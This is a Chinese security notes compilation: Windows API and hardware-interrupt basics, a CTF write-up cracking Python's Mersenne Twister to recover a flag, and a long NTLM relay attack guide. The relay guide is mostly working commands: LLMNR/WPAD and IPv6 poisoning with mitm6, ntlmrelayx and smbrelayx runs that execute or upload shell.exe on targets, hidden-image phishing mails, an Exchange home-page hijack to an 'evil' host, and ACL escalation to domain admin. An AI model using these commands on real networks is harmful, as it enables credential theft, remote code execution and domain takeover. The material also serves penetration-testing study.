当前主流的 32 位 windows API 也称为 Win32 API，当然也有 win16 API 和 Win64 API
API 通过多个 DLL 文件提供，各个 API 的实体都是使用 C 语言编写的函数，所以在 C 环境下，使用 API 更容易，如 API 所用的 MessageBox() 函数就保存在 user32.dll 这个文件中。
**GUI 用户界面**
GUI指图形化用户界面。
**通过 WYSIWYG 实现打印输出**
WYSIWYG 指显示器上输出的内容可以直接通过打印机输出。
**多任务**
windows 通过时钟分割来实现多任务功能，时钟分割指短时间间隔内，多个程序切换运行的方式，在用户看来，像是多个程序在同时运行，其底层是 CPU 时间切片，这也是多线程多任务的核心。
**windowsAPI**
windows 开放了系统调用功能来实现对硬件的控制，在 windows 中，系统调用称为 API,API 就是应用调用的函数，这些函数的实体被存放在 DLL 文件中.
例如加入要在窗口中显示字符串, 就可以使用 windowsAPI 中的 TextOut 函数
```
BOOL TextOut{
HDC hdc, // 设备描述表的句柄
int nXstart, // 显示字符串的x坐标
int nYstart, // 显示字符串的y坐标
LPCTSTR lpString, // 指向字符串的指针
int cbString // 字符串的文字数
}
```
**IN 指令和 OUT 指令**
windows 控制硬件借助的是输入和输出指令，比较有代表性的就是 IN 和 OUT，这些指令也是汇编的助记符。
IN 指令通过指定的端口号输入数据, OUT 指令则是通过 CPU 寄存器中存储的数据输出到指定端口号的端口。
I/O 控制器中有用于临时保存输入输出数据的内存, 这个内存就是端口，IO 控制器内部的内存，也被称为寄存器，和 CPU 中的不一样，CPU 里的用于进行数据运行，IO 里的用于存数据。
在 I/O 设备内部的 IC 中，有多个端口，由于计算机连接多个设备，因此也有很多 I/O 控制器，一个 I/O 控制器可以控制多个设备，各端口通过端口号进行区分。
端口号也叫做 I/O 地址，IN 和 OUT 指令在端口号指定的端口和 CPU 之间进行数据的输入和输出。
**IRQ**
IRQ 代表中断请求, IRQ 用来暂停当前运行的程序, 并跳转到其他程序运行的必要机制, 该机制被称为中断处理。
从中断处理开始到请求中断的程序运行结束之前, 被中断的程序的处理是停止的, 这种情况就类似于在处理文档的过程中有电话打来, 电话就是中断处理。
实施中断请求的是连接外围设备的 I/O 控制器, 负责实施中断处理的是 CPU，外围设备的中断请求会使用不同于 I/O 端口的其他编号, 该编号称为中断编号, 在控制面板查看驱动器属性时，IRQ 处显示的数值是 06，表示用 06 来识别驱动器发出的请求,
假如有多个外围设备进行中断请求的话，cpu 需要做出选择进行处理，为此，可以在 I/O 控制器和 CPU 中间加入名为中断控制器的 IC 来进行缓存。中断控制器会把多个外围设备发出的中断请求有序的传递给 CPU，中断控制器的功能相当于缓冲.
CPU 在接收到中断请求后, 会把当前正在运行的任务中断，并切换到中断处理程序, 中断处理程序的第一步处理就是把 CPU 所有寄存器的数值保存到内存的栈中，在中断处理程序中完成外围设备的输入和输出后，把栈中保存的数值还原到 CPU 寄存器中，然后继续进行主程序的处理。
如果 CPU 寄存器的数值还没有还原的话，就会影响到主程序的运行，甚至还可能使程序意外停止或发生运行时异常，这是因为主程序在运行过程中，会用到 CPU 寄存器进行处理，如果突然插入其他程序的运行结果，那么必定会收到影响，所以在处理完中断请求后，各个寄存器的值必须要还原，只要寄存器的值不变，主程序就可以继续处理。
**DMA**
DMA 指不通过 CPU 的情况下，外围设备直接和主存进行数据传输。硬盘等硬件设备都用到了 DMA 机制，通过 DMA，大量数据可以在短时间内实现传输。
I/O 端口号、IRQ、DMA 通道是识别外围设备的组合，但 IRQ 和 DMA 通道不是所有外围设备都具备的，I/O 端口所有外围设备都具备，IRQ 只对需要中断处理的外围设备来说是必须的，DMA 通道只对需要 DMA 机制的外围设备来说是必须的，假如多个外围设备都设定成相同端口号、IRQ 和 DMA 通道，计算机会无法工作，会显示设备冲突。
**VRAM**
显示器中的信息一直存储在内存中，该内存称为 VRAM(video RAM)，在程序中，只要向 VRAM 中写入数据，该数据就会在显示器中显示出来，实现该功能的程序，是由操作系统或 BIOS 提供的，并借由中断来进行处理。
**体系结构**
x86 处理器具有 4 个特权级别（称为 rings），用于控制对内存和 CPU 操作的访问。它们的范围从最特权的 Ring 0 到 Ring 3
Windows 仅支持 Rings 0 和 3，分别被分别称为内核和用户模式。 大多数用户活动将发生在 Ring 3 中，但是在调用各种 API 时应用程序可能会进入 Ring 0 中 - 例如在访问文件系统时需要这样做。
|
sec-knowleage
|
# Istanbul - Bazaar
Category: Misc.
## Description
> It’s a hot day, and your skin is cracking and dry. It’s difficult to make your way through the crowded bazaar. A high pitch voice pierces through the soundscape from a salesman that’s trying to sell colorful fabrics and then from another corner comes delicious smells. You spot a hand waving - it’s your contact that you’ve been waiting to meet. "Take a seat, my friend, I’m Gökhan, have you been to Istanbul before? No, really? I’m sure that you will have a great time, I’ve ordered tea for the two of us. Show me the amulet, will you?. Wow, this is really something from my younger days, this is as mysterious as it is beautiful and belongs to “The cloaked brotherhood”. They are very dangerous, and eventhough your quest is urgent, I would advise you to not continue looking for the owner of this. Go home, and forget about it." In the blink of an eye, four tough guys show up, and you start to run together with Gökhan through the crowded marketplace and then up on a rooftop. The tough guys are closing in, but the two of you climb down from the rooftop, run around a corner and are able to hide in two crates.
>
> Challenge: Twisted robot (misc)
>
> We found this old robo caller. It basically generates random phone numbers to spam. We found the last list of numbers in generated and also some weird file... Maybe it's got to do with these new beta features they were testing?
Three files were attached: `robo_numbers_list.txt`, `RoboCaller1337.py` and `secret.enc`.
## Solution
Let's check the attached files.
The Python script:
```python
import random
# Gots to get that formatting right when send it to our call center
def formatNumber(n):
n = str(n)
return f'{n[:3]}-{n[3:6]}-{n[6:]}'
# This generates random phone numbers because it's easy to find a lot of people!
# Our number generator is not great so we had to hack it a bit to make sure we can
# reach folks in Philly (area code 215)
def generateRandomNumbers():
arr = []
for i in range(624):
arr.append(formatNumber(random.getrandbits(32) + (1<<31)))
return arr
def encodeSecret(s):
key = [random.getrandbits(8) for i in range(len(s))]
return bytes([a^b for a,b in zip(key,list(s.encode()))])
def menu():
print("""\n\nWelcome to the RoboCaller!! What would you like to do?
1: generate a new list of numbers
2: encrypt a super secret (in beta)
3: decrypt a super secret (coming soon!!)
4: exit""")
choice = ''
while choice not in ['1','2','3']:
choice = input('>')
if choice == '1':
open('robo_numbers_list.txt','w').write('\n'.join(generateRandomNumbers()))
print("...done! list saved under 'robo_numbers_list.txt'")
elif choice == '2':
secret = input('give me your secret and I\'ll save it as "secret.enc"')
open('secret.enc','wb').write(encodeSecret(secret))
elif choice == '3':
print("stay tuned for this awesome feature\n\n")
elif choice == '4':
print("Thank you for using RoboCaller1337!")
return
def main():
while True:
menu()
if __name__ == "__main__":
main()
```
The binary file:
```console
┌──(user@kali)-[/media/sf_CTFs/google/5_Istanbul_-_Bazaar/download]
└─$ xxd -g 1 secret.enc
00000000: 95 47 08 58 19 2b f8 0c 2b 2a 55 11 29 e1 22 8f .G.X.+..+*U.).".
00000010: ab 42 c9 0c 67 c5 df 44 e1 f3 e5 cb 3f 61 3c .B..g..D....?a<
```
The text file:
```
┌──(user@kali)-[/media/sf_CTFs/google/5_Istanbul_-_Bazaar/download]
└─$ wc -l robo_numbers_list.txt
623 robo_numbers_list.txt
┌──(user@kali)-[/media/sf_CTFs/google/5_Istanbul_-_Bazaar/download]
└─$ cat robo_numbers_list.txt| head
263-170-6234
467-553-7030
220-146-1293
630-328-6023
413-553-0465
528-403-6609
454-641-6157
396-906-1900
445-477-6643
578-095-2052
```
This file has 624 lines of random phone numbers, as generated by `generateRandomNumbers`. We know that these numbers were generated immediately before `encodeSecret` was called, how do we use this to recover the random values used for `encodeSecret`?
It turns out that Python uses the `Mersenne Twister` algorithm for its `random` module, and that it's possible to predict the MT19937 PRNG given preceding 624 generated numbers. [This library](https://github.com/kmyk/mersenne-twister-predictor) offers a simple way to predict the values, once fed `624` DWORDs of `random` output.
So, we just have to reverse the phone numbers into their original format as received by `random`, feed them into the predictor and then read the additional values from the predictor to XOR with the encrypted output:
```python
from mt19937predictor import MT19937Predictor
def formatNumber(n):
n += (1<<31)
n = str(n)
return f'{n[:3]}-{n[3:6]}-{n[6:]}'
def deformatNumber(s):
arr = list(map(int, s.split("-")))
res = arr[2]
res += arr[1] * 10**4
res += arr[0] * 10**7
res -= (1<<31)
return res
with open("download/robo_numbers_list.txt") as f, open("download/secret.enc", "rb") as s:
predictor = MT19937Predictor()
for line in f:
line = line.rstrip()
num = deformatNumber(line)
predictor.setrandbits(num, 32)
secret = s.read()
for c in secret:
print(chr(c ^ predictor.getrandbits(8)), end="")
print("")
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/google/5_Istanbul_-_Bazaar]
└─$ python3 solve.py
CTF{n3v3r_3ver_ev3r_use_r4nd0m}
```
|
sec-knowleage
|
# NTLM中继
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
NTLM hash 分为 NTLMv1 NTLMv2 NTLMv2 session 三种，NTLMv2 的强度比 NTLMv1 强了不少 ，我们在实战中，如果获得的是 NTLMv1 的话直接对其进行爆破就行了，而现实情况中我们遇到的是 NTLMv2，NTLMv2 的密码强度高了不少，因此如果你没有一个超级强大的字典，你很难得到明文密码。那么，如果爆破行不通的话我们不妨试一下 NTLM Relay 攻击。
NTLM Relay 中，我们就是要将截获的 Net-NTLM Hash 重放来进行攻击，从而实现对其他机器的控制
对于工作组的机器来说，两台机器的密码需要一致才能成功，对于域用户来说，被欺骗用户（发起请求的用户）需要域管理员组里边的用户才可以，NTLM 中继成功后的权限为被欺骗用户的权限。
---
**相关文章**
- [Windows内网协议学习NTLM篇之NTLM基础介绍](https://www.anquanke.com/post/id/193149)
- [Windows内网协议学习NTLM篇之发起NTLM请求](https://www.anquanke.com/post/id/193493)
- [Windows内网协议学习NTLM篇之Net-NTLM利用](https://www.anquanke.com/post/id/194069)
- [Windows内网协议学习NTLM篇之漏洞概述](https://www.anquanke.com/post/id/194514)
- [内网渗透测试：NTLM Relay攻击分析](https://blog.csdn.net/whatday/article/details/107698383)
- [NTLM利用探索](http://evilash.me/2020/12/03/NTLMExplore.html)
- [What is old is new again: The Relay Attack](https://www.secureauth.com/blog/what-is-old-is-new-again-the-relay-attack/)
- [NTLM relay of ADWS (WCF) connections with Impacket](https://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket/)
- [红队与理论：Credential Relay 与 EPA](https://mp.weixin.qq.com/s/hACLQ4UgdFXDdlB4CKKhXg)
- [360 A-TEAM 带你走进 NTLM-Relay](https://mp.weixin.qq.com/s/aemG5XwVdyzNbOBXztDUbA)
- [NTLM Relay](https://en.hackndo.com/ntlm-relay/)
- [NTLM认证相关攻击技巧（较全）](https://xz.aliyun.com/t/8562)
---
## 获得 hash(发起 NTLM 请求)
由于 SMB、HTTP、LDAP、MSSQL 等协议都可以携带 NTLM 认证的三类消息，所以只要是使用 SMB、HTTP、LDAP、MSSQL 等协议来进行 NTLM 认证的程序，都可以尝试向攻击者发送 Net-NTLMhash 从而让攻击者截获用户的 Net-NTLMhash，也就是说我们可以通过这些协议来进行攻击。
### LLMNR 和 NetBIOS 欺骗
Windows系统名称解析顺序为：
1. 本地 hosts 文件（%windir%\System32\drivers\etc\hosts）
2. DNS 缓存 / DNS 服务器
3. 链路本地多播名称解析（LLMNR）和 NetBIOS 名称服务（NBT-NS）
也就是说，如果在缓存中没有找到名称，DNS 名称服务器又请求失败时，Windows 系统就会通过链路本地多播名称解析（LLMNR）和 Net-BIOS 名称服务（NBT-NS）在本地进行名称解析。
这时，客户端就会将未经认证的 UDP 广播到网络中，询问它是否为本地系统的名称，由于该过程未被认证，并且广播到整个网络，从而允许网络上的任何机器响应并声称是目标机器。当用户输入不存在、包含错误或者 DNS 中没有的主机名时，通过工具 (responder) 监听 LLMNR 和 NetBIOS 广播，攻击者可以伪装成受害者要访问的目标机器，并从而让受害者交出相应的登录凭证。核心过程与 arp 欺骗类似，我们可以让攻击者作中间人，截获到客户端的 Net-NTLMHash。
也就是说 LLMNR 并不需要一个服务器，而是采用广播包的形式，去询问 DNS，如同 ARP 投毒一样的安全问题。
而 NetBIOS 协议进行名称解析是发送的 UDP 广播包。因此在没有配置 WINS 服务器的情况底下，LLMNR 协议存在的安全问题，在 NBNS 协议里面同时存在。
- [Responder欺骗](./Responder欺骗.md)
### WPAD 劫持
wpad 全称是 Web Proxy Auto-Discovery Protocol ，通过让浏览器自动发现代理服务器，定位代理配置文件 PAC(在下文也叫做 PAC 文件或者 wpad.dat)，下载编译并运行，最终自动使用代理访问网络。
默认自动检测设置是开启的。
WPAD 网络代理自动发现协议是一种客户端使用 DCHP、DNS、LLMNR、NBNS 协议来定位一个代理配置文件 (PAC)URL 的方法。WPAD 通过让浏览器自动发现代理服务器，查找存放 PAC 文件的主机来定位代理配置文件，下载编译并运行，最终自动使用代理访问网络。
用户在访问网页时，首先会查询 PAC 文件的位置，然后获取 PAC 文件，将 PAC 文件作为代理配置文件。
查询 PAC 文件的顺序如下：
1. 通过 DHCP 服务器
2. 查询 WPAD 主机的 IP
- Hosts
- DNS (cache / server)
- LLMNR
- NBNS
#### 配合 LLMNR/NBNS 投毒
一个典型的劫持方式是利用 LLMNR/NBNS 欺骗来让受害者从攻击者获取 PAC 文件，PAC 文件指定攻击者就是代理服务器，然后攻击者就可以劫持受害者的 HTTP 流量，在其中插入任意 HTML 标签从而获得用户的 Net-NTLMHash。
当你的浏览器设置为 “自动检测代理设置” 的情况下，它就会下载攻击者事先准备好的 wpad.dat 文件，这样一来，客户端的流量就会经过攻击者的机器。
受害者通过 llmnr 询问 wpad 主机在哪里，Responder 通过 llmnr 投毒将 wpad 的 ip 指向 Responder 所在的服务器
Responder 可以创建一个假 WPAD 服务器，并响应客户端的 WPAD 名称解析。客户机随后请求该 WPAD服务器的 wpad.dat 文件。
受害者访问 WPAD/wpad.dat，Responder 就能获取到用户的 net-ntlm hash(这个 Responder 默认不开，因为害怕会有登录提醒，不利于后面的中间人攻击，可以加上 - F 开启)
- [Responder欺骗](./Responder欺骗.md#wpad)
微软在 2016 年发布了 MS16-077 安全公告，添加了两个重要的保护措施，以缓解这类攻击行为
1. 系统再也无法通过广播协议来解析 WPAD 文件的位置，只能通过使用 DHCP 或 DNS 协议完成该任务。
2. 更改了 PAC 文件下载的默认行为，以便当 WinHTTP 请求 PAC 文件时，不会自动发送客户端的域凭据来响应 NTLM 或协商身份验证质询。
#### 配合 DHCPv6
MS16-077 以后更改了 PAC 文件下载的默认行为，以便当 WinHTTP 请求 PAC 文件时，不会自动发送客户端的域凭据来响应 NTLM 或协商身份验证质询。
在访问 pac 文件的时候，我们没办法获取到用户的 net-ntlm hash。但默认 responder 不开启，要手动加 - F 选项才能开启。我们可以给用户返回一个正常的 wpad。将代理指向我们自己，然后我们作为中间人。这个时候可以做的事就很多了。比如插入 xss payload 获取 net-ntlm hash，中间人获取 post，cookie 等参数，通过 basic 认证进行钓鱼，诱导下载 exe 等等。可以配合 LLMNR/NBNS 投毒。
给用户返回一个正常的 wpad。将代理指向我们自己，当受害主机连接到我们的 “代理” 服务器时，我们可以通过 HTTP CONNECT 动作、或者 GET 请求所对应的完整 URI 路径来识别这个过程，然后回复 HTTP 407 错误（需要代理身份验证），这与 401 不同，IE/Edge 以及 Chrome 浏览器（使用的是 IE 设置）会自动与代理服务器进行身份认证，即使在最新版本的 Windows 系统上也是如此。在 Firefox 中，用户可以配置这个选项，该选项默认处于启用状态。
在 MS16-077 之后，通过 DHCP 和 DNS 协议还可以获取到 pac 文件。
DHCP 和 DNS 都有指定的服务器，不是通过广播包，而且 dhcp 服务器和 dns 服务器我们是不可控的，没法进行投毒。而从 Windows Vista 以来，所有的 Windows 系统（包括服务器版系统）都会启用 IPv6 网络，并且其优先级要高于 IPv4 网络。
DHCPv6 协议中，客户端通过向组播地址发送 Solicit 报文来定位 DHCPv6 服务器，组播地址 `[ff02::1:2]` 包括整个地址链路范围内的所有 DHCPv6 服务器和中继代理。DHCPv6 四步交互过程，客户端向 `[ff02::1:2]` 组播地址发送一个 Solicit 请求报文，DHCP 服务器或中继代理回应 Advertise 消息告知客户端。客户端选择优先级最高的服务器并发送 Request 信息请求分配地址或其他配置信息，最后服务器回复包含确认地址，委托前缀和配置（如可用的 DNS 或 NTP 服务器）的 Relay 消息。通俗点来说就是，在可以使用 ipv6 的情况(Windows Vista 以后默认开启), 攻击者能接收到其他机器的 dhcpv6 组播包的情况下，攻击者最后可以让受害者的 DNS 设置为攻击者的 IPv6 地址。
可以利用 Fox-IT 公开的工具进行攻击
**相关文章**
- [mitm6 - compromising IPv4 networks via IPv6](https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/)
- [mitm6：通过IPv6攻破IPv4网络](https://www.anquanke.com/post/id/94689)
**mitm6**
- https://github.com/dirkjanm/mitm6
```bash
pip install mitm6
# 或
git clone https://github.com/dirkjanm/mitm6.git
cd mitm6
pip install -r requirements.txt
python setup.py install
```
```
mitm6 -d test.local
```
```
impacket-ntlmrelayx -6 -wh test.local -t smb://192.168.141.129 -l ~/tmp/ -socks -debug
```
---
## 利用
### signing
签名的原理参考笔记 [认证](../../../../Integrated/Windows/笔记/认证.md)
用 responder 工具包里面的 RunFinger.py 脚本扫描域内机器的签名的开放情况
```
cd /usr/share/responder/tools
python RunFinger.py -i 192.168.141.0/24
```
可以看到除了域控 130，域内主机的 SMB 签名都已禁用（false）了
也可以用 nmap
```
nmap --script smb-security-mode,smb-os-discovery.nse -p445 192.168.141.0/24 --open
```
---
### SMB中继
SMB 中继是最直接最有效的方法。可以直接控制该服务器 (包括但不限于在远程服务器上执行命令、上传 exe 到远程主机上执行、dump 服务器的用户 hash 等等)。
中继的前提是目标 SMB 签名需要关闭，在 SMB 连接中，需要使用安全机制来保护服务器和客户端之间传输数据的完整性，而这种安全机制就是 SMB 签名和加密，如果关闭 SMB 签名，会允许攻击者拦截认证过程，并且将获得 hash 在其他机器上进行重放，从而获得权限。
**工作组**
在工作组环境里面，工作组中的机器之间相互没有信任关系，每台机器的账号密码 Hash 只是保存在自己的 SAM 文件中，这个时候 Relay 到别的机器，除非两台机器的账号密码一样，不然没有别的意义了.但如果账号密码一样，不如直接 pth。
这个时候的攻击手段就是将机器 reflect 回机子本身。因此微软在 ms08-068 中对 smb reflect 到 smb 做了限制，防止了同一主机从 SMB 协议向 SMB 协议的 Net-NTLMhash relay。这个补丁在 CVE-2019-1384(Ghost Potato) 被绕过。
自从 MS08-068 漏洞修复之后无法再将 Net-NTLM 哈希值传回到发起请求的机器上，除非进行跨协议转发，但是该哈希值仍然可以通过中继转发给另外一台机器。利用 Responder 结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是，在这之前需要在进行转发操作的机器上禁用 SMB 签名。但是除了个别的例外，所有的 Windows 操作系统都默认关闭了 SMB 签名。
**域**
域环境底下域用户的账号密码 Hash 保存在域控的 ntds.dit 里面。如下没有限制域用户登录到某台机子，那就可以将该域用户 Relay 到别人的机子，或者是拿到域控的请求，将域控 Relay 到普通的机子，比如域管运维所在的机子。
- 域普通用户 != 中继
- 域管 == 中继
- 域普通用户+域管理员组 == 中继
---
#### responder MultiRelay
利用 MultiRelay.py 攻击，获得目标主机的 shell：
```
python3 MultiRelay.py -t <被攻击ip> -u ALL
```
现在 SMB 已经由 MultiRelay.py 脚本来进行中继，我们需要修改一下 responder 的配置文件Responder.conf，不让其对 hash 进行抓取。将 SMB 和 HTTP 的 On 改为 Off：
```
vim /usr/share/responder/Responder.conf
SMB=Off
HTTP=Off
```
重启 Responder.py，准备毒化（这里 responder 的作用就是当访问一个不存在的共享路径，将称解析降到 LLMNR/NBNS 时，来抓取网络中所有的 LLMNR 和 NetBIOS 请求并进行响应）
```
responder -I eth0
```
在 DC（192.168.141.130）上随便传递一个 SMB 流量
```
net use \\whoami
```
可以看到已经拿到了目标机器的 shell
---
#### Impacket smbrelayx
```
impacket-smbrelayx -h <被攻击ip> -c whoami
```
让任意主机访问这个攻击者精心构造好的 SMB 服务器：
```
net use \\<kali IP>
```
此时，攻击者的 smbrelayx 脚本上就会发现命令成功执行了
```
impacket-smbrelayx -h <被攻击ip> -e shell.exe
```
用 -e 选项会在目标主机上传并运行我们的 payload
---
#### Metasploit smb_relay(08-068)
```
use exploit/windows/smb/smb_relay
run
```
在目标的 cmd 中执行 `net use \\<kali ip>\c$` 来访问攻击者搭建的恶意 smb 服务
---
#### Impcaket ntlmrelayx
ntlmrelayx 脚本可以直接用现有的 hash 去尝试重放指定的机器
```
impacket-ntlmrelayx -t smb://<被攻击ip> -c whoami -smb2support
```
诱导域管理员或普通域用户访问攻击机搭建的伪造 HTTP 或 SMB 服务，并输入用户名密码：
攻击者的 ntlmrelayx 上面即可显示成功在目标上执行命令
**socks**
```
echo "192.168.141.130" >> targets.txt
echo "192.168.141.131" >> targets.txt
echo "192.168.141.132" >> targets.txt
echo "192.168.141.133" >> targets.txt
impacket-ntlmrelayx -tf targets.txt -socks -smb2support
```
**ADWS(built upon NetTcpBinding WCF)**
kali 上启用(192.168.141.129)
```
impacket-ntlmrelayx --no-smb-server --no-http-server -t rpc://192.168.141.132 -c "echo a > c:\test"
```
域控上执行
```
Get-Command
get-aduser -filter * -server 192.168.141.129
```
目标域成员机器执行命令
---
### Exchange中继
Exchange 的认证也支持 NTLM SSP。我们可以 relay Exchange，从而收发邮件，代理等等。
#### outlook abuse
在使用 outlook 的情况下还可以通过 homepage 或者下发规则达到命令执行的效果。
在 outlook 邮件中插入 HTML,触发 UNC
在邮件中插入如下标签：
```
<img src="\\192.168.60.172\blank">
<img src="http://relayubuntu/blank">
```
在用户通过 Outlook 打开邮件时：
1. UNC 默认会通过 smb 协议发起 NTLM 认证，但是外网钓鱼的话，目标单位的 smb 流量可能无法出网。
2. HTTP 默认不会发起 NTLM 认证，即使服务端对其进行 NTLM 挑战，除非服务端 url 位于服务器的信任网站或内联网列表。Windows 会认为 http://Netbios 形式的 url 处于内联网，域内用户默认有增加 DNS 记录的权限，因此攻击者需要先获取域用户权限并创建 DNS 记录来将恶意服务器"放入"内联网列表。显然，这种方法无法用于外网钓鱼。
```bash
# 发送带 UNC 路径的邮件
swaks --server 192.168.60.116 --ehlo island.com --to zhangsan@island.com --from test@island.com --header "Subject:relay_swaks_test" --body '<img src="\\192.168.60.172\blank" style="display:none">this is a msg' --h-X-Mailer: 'Foxmail 7.2.20.273[cn]' --add-header "Content-Type: text/html"
# 发送带 HTTP 路径的邮件
swaks --server 192.168.60.116 --ehlo island.com --to zhangsan@island.com --from test@island.com --header "Subject:relay_swaks_test" --body '<img src="http://relayubuntu/blank" style="display:none">this is a msg' --h-X-Mailer: 'Foxmail 7.2.20.273[cn]' --add-header "Content-Type: text/html"
# Powermad Invoke-DNSUpdate.ps1
# 创建 DNS 记录
Invoke-DNSUpdate -DNSType A -DNSName relayubuntu -DNSData 192.168.60.172
```
这种 Relay，可以在外网发起 relay，而不需要在内网。
- [Arno0x/NtlmRelayToEWS](https://github.com/Arno0x/NtlmRelayToEWS)
- [quickbreach/ExchangeRelayX](https://github.com/quickbreach/ExchangeRelayX)
**smb/http relay to smb**
中继至 smb 时，如果：
1. 中继的账户是普通域账户，则无法完成中继。受 Remote UAC 限制，除了以下账户外，其他账户无法网络登录 smb
2. 中继的账户是域管账户或本地管理员账户，可以完成中继
```bash
# 不加参数，默认 dump 目标 hash
python3 ntlmrelayx.py -t smb://192.168.60.112 -smb2support
python3 ntlmrelayx.py -t smb://192.168.60.112 -smb2support -socks
python3 ntlmrelayx.py -t smb://192.168.60.112 -smb2support -c "whoami"
```
**http relay to ldap**
中继至 ldap 时，如果：
1.中继的账户是普通域账户，会 dump 域内 ldap 信息
2.中继的账户是高权限域账户，会自动尝试 ACL 提权
需要注意的是，smb relay to ldap 默认情况下会开启签名，因此只能 http relay to ldap。
```
python3 ntlmrelayx.py -t ldap://192.168.60.112 -smb2support
```
**smb/http relay to http**
中继至 http 时，如果：
1. 中继的账户是普通域用户，可以中继到 Exchange /EWS 接口，实现邮件发送、邮件下载、邮件委托、设置主页等功能
2. 中继的账户是域管账户，可以尝试 ADCS 提权
```bash
python2 ntlmRelayToEWS.py -t https://ip/EWS/exchange.asmx -r getFolder -f inbox -v
python2 ntlmRelayToEWS.py -t https://ip/EWS/exchange.asmx -r setHomePage -u http://evil/home.html -v
# 如果报证书认证错误，需要修改 lib/httprelayclient.py 源码
class HTTPRelayClient:
def __init__(self, target, body):
......
......
if proto.lower() == 'https':
#Create unverified (insecure) context
try:
#uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
# uv_context = ssl.create_default_context()
uv_context = ssl._create_unverified_context() # 把 create_default_context 改成 _create_unverified_context
实战中邮件委托和设置主页两个功能危害较大。
```
#### PushSubscription abuse (CVE-2018-8581)
- https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2018-8581
**简介**
Exchange 的 SSRF 默认携带凭据, 可以用于 Relay
1. 通过 HTTP 使用 NTLM 向攻击者进行交换身份验证
2. 与 NTLM 中继攻击相结合，使得用户可以低权限 (任意拥有邮箱的用户) 提权到域管理员。
**相关文章**
- [微软Exchange爆出0day漏洞，来看POC和技术细节](https://www.freebuf.com/vuls/195162.html)
- [Microsoft Exchange 任意用户伪造漏洞（CVE-2018-8581）分析](https://paper.seebug.org/804/)
- [MICROSOFT EXCHANGE漏洞分析 - CVE-2018-8581](https://0kee.360.cn/blog/microsoft-exchange-cve-2018-8581/)
- [分析CVE-2018-8581：在Microsoft Exchange上冒充用户](https://www.anquanke.com/post/id/168337)
- [船新版本的Exchange Server提权漏洞分析](https://www.anquanke.com/post/id/170199)
- [利用 Exchange SSRF 漏洞和 NTLM 中继沦陷域控](https://paper.seebug.org/833/)
- [Exchange CVE-2018-8581 补丁有用？没用？](https://mp.weixin.qq.com/s/5nPUhIpUB5sR2bmP_getyw)
- https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/pushsubscription-abuse
**POC | Payload | exp**
- [Ridter/Exchange2domain](https://github.com/Ridter/Exchange2domain)
- [WyAtu/CVE-2018-8581](https://github.com/WyAtu/CVE-2018-8581)
- [dirkjanm/PrivExchange](https://github.com/dirkjanm/PrivExchange)
**http relay to EWS 接口**
由于 Exchange 是以 System 用户的权限运行, 因此我们拿到的是机器用户的 Net-Ntlm Hash。并不能直接用以登录。但是 Exchange 机器用户可以获得 TokenSerializationRight 的 ”特权” 会话，可以 Relay 到 机子本身的 Ews 接口，然后可以使用 SOAP 请求头来冒充任何用户。
- https://github.com/WyAtu/CVE-2018-8581
本地 NT AUTHORITY\SYSTEM 账户对 Exchange 服务器拥有 ms-Exch-EPI-Token-Serialization 权限，可以在连接 /EWS 接口时修改 SOAP Header 为其他邮箱用户的 SID 来模拟成任何邮箱用户。因此可以中继至 /EWS 接口，实现任意用户的邮件发送、邮件下载、邮件委托、设置主页等功能。
```bash
# 查看本地 NT AUTHORITY\SYSTEM 账户对 Exchange 服务器拥有 ms-Exch-EPI-Token-Serialization 权限
PS C:\> Get-ADPermission -Identity WIN2012-Ex2016 | where {($_.ExtendedRights -like "ms-Exch-EPI-Token-Serialization") -and $_.Deny -like "False"} |fl
# 手动修改 CVE-2018-8581_debug.py 参数后执行
python2 CVE-2018-8581_debug.py
# 然后 zhangsan 可以打卡 lisi 的收件箱文件夹查看其邮件。
```
**http relay to LDAP**
所有的 Exchange Server 都在 Exchange Windows Permissions 组里面, 而这个组默认就对域有 WriteACL 权限.
因此我们可以 relay 到 LDAP, 而又由于 Relay 到的服务端是 Ldap,Ldap 服务器的默认策略是协商签名。而不是强制签名。是否签名由客户端决定。在 SSRF 里面发起的请求是 http 协议，http 协议是不要求进行签名.
Exchange 机器账户对域分区拥有 WriteDacl 权限，直接通过 ACL 进行提权。
```bash
# 设定订阅
python3 privexchange.py win2012-ex2016.island.com -d island.com -ah 192.168.123.123 -u zhangsan -p ZS@123qwe --debug
# 内网机器上做中继，自动通过 ACL 进行提权
python3 ntlmrelayx.py -t ldap://WIN2012-DC1.island.com --escalate-user zhangsan --no-dump
```
#### ProxyRelay
**相关文章**
- [A New Attack Surface on MS Exchange Part 4 - ProxyRelay!](https://blog.orange.tw/2022/10/proxyrelay-a-new-attack-surface-on-ms-exchange-part-4.html)
---
### LDAP中继
**相关文章**
- [How to Exploit Active Directory ACL Attack Paths Through LDAP Relaying Attacks](https://www.praetorian.com/blog/how-to-exploit-active-directory-acl-attack-paths-through-ldap-relaying-attacks/)
#### LDAP签名
在默认情况底下，ldap 服务器就在域控里面，而且默认策略就是协商签名。而不是强制签名。是否签名是有客户端决定的。服务端跟客户端协商是否签名。
客户端分情况，如果是 smb 协议的话，默认要求签名的，如果是 webadv 或者 http 协议，是不要求签名的
微软公司于 2019-09-11 日发布相关通告称微软计划于 2020 年 1 月发布安全更新。为了提升域控制器的安全性，该安全更新将强制开启所有域控制器上 LDAP channel binding 与 LDAP signing 功能。
#### Impcaket ntlmrelayx
**高权限用户**
如果 NTLM 发起用户在以下用户组
- Enterprise admins
- Domain admins
- Built-in Administrators
- Backup operators
- Account operators
那么就可以将任意用户拉进该组，从而使该用户称为高权限用户，比如域管
**write-acl 权限**
如果发起者对域有 write-acl 权限，那么就可以在域内添加两台 acl
```
'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
```
acl 的受托人可以是任意用户，从而使得该用户可以具备 dcsync 的权限
**普通用户权限**
在 server2012r2 之后，如果没有以上两个权限。可以通过设置基于资源的约束委派。
